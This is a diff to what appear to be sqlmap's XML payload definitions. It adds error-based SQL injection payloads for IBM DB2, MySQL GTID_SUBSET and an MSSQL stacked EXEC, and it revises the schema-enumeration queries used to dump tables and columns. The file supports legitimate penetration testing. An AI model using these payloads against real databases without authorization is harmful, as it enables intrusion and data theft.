||||
<clause>1,8,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
@@ -765,9 +799,9 @@
|
||||
<test>
|
||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
@@ -780,6 +814,45 @@
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
@@ -853,6 +926,26 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -1000,7 +1093,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1021,7 +1113,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1062,6 +1153,25 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - Parameter replace</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - Parameter replace -->
|
||||
|
||||
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
||||
@@ -1105,6 +1215,26 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -1205,7 +1335,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -1261,7 +1390,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1289,7 +1417,7 @@
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
@@ -1302,9 +1430,51 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - ORDER BY clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - stacking -->
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
|
||||
<request>
|
||||
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - stacking -->
|
||||
</root>
|
||||
|
||||
@@ -73,7 +73,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -264,7 +264,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -286,7 +285,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -307,7 +305,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -328,7 +325,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -588,7 +588,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -610,7 +609,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -631,7 +629,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -652,7 +649,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -674,7 +670,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -696,7 +691,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1638,7 +1632,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1936,7 +1929,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -131,8 +131,8 @@
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
@@ -147,8 +147,8 @@
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -198,11 +198,11 @@
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
@@ -301,8 +301,8 @@
|
||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
@@ -1370,8 +1370,8 @@
|
||||
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
@@ -1386,8 +1386,8 @@
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -1534,7 +1534,6 @@
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner/>
|
||||
<current_user/>
|
||||
@@ -1577,7 +1576,6 @@
|
||||
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
